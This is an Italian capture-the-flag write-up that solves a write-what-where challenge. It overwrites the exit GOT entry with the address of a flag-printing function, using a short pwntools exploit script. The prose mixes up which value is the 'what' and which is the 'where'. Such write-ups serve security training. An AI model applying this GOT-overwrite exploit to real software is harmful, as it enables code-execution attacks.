## Soluzione

Vediamo analizzando il file che è possibile scrivere la GOT e non c'è PIE.

Il programma si basa su un attacco "write what where" dato che ci chiede di scrivere 3 input essenziali :

- 1) What about giving him a "partner"? [Y]/n
- 2) What do you want to write?
- 3) Where do you want to write?

Per il primo input basterà inserire y.

Si può trovare la funzione *give\_the\_man\_a\_cat* che stampa la flag.

La funzione *give\_the\_man\_a\_cat* sarà il nostro where.

Analizzando con IDA per trovare il Where (GOT) da sostituire con la funzione give\_the\_man\_a\_cat troviamo "exit" l'ultima funzione che viene eseguita dal programma, che sarà il nostro What.

Lo script pwntools è come segue:

```
from pwn import *

context.binary = "./vuln"

p = process()
p.sendline(b"y")
p.sendline(str(context.binary.functions["give_the_man_a_cat"].address).encode("ascii"))
p.sendline(str(context.binary.got["exit"]).encode("ascii"))
p.interactive()
```

L'immagine riporta la flag:

